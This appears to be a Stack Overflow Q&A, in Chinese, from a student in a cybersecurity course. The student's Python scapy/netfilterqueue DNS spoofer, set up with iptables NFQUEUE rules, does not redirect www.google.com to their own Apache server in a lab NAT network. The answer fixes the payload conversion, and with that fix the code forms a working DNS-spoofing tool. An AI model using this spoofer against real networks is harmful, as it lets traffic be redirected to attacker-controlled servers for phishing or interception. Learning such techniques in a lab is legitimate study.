我一直在学习一门关于网络安全的课程,目前我正试图使DNS欺骗器发挥作用。这样做的想法是,每次目标(同一台计算机)尝试转到www.google.com时,它都会转到apache服务器。但它唯一能做的就是不连接到谷歌。我想说的是,我没有什么经验。
我首先:
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0然后讨论Python 3.7
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if b'www.google.com' in qname:
answer = scapy.DNSRR(rrname=qname, rdata=b'10.0.2.5')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(b'scapy_packet')
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()我正在使用NAT网络,10.0.2.5是我的apache服务器。
发布于 2022-05-20 09:24:49
也许可以替换:
packet.set_payload(b'scapy_packet')通过以下方式:
packet.set_payload(bytes(scapy_packet))https://stackoverflow.com/questions/60698657
复制相似问题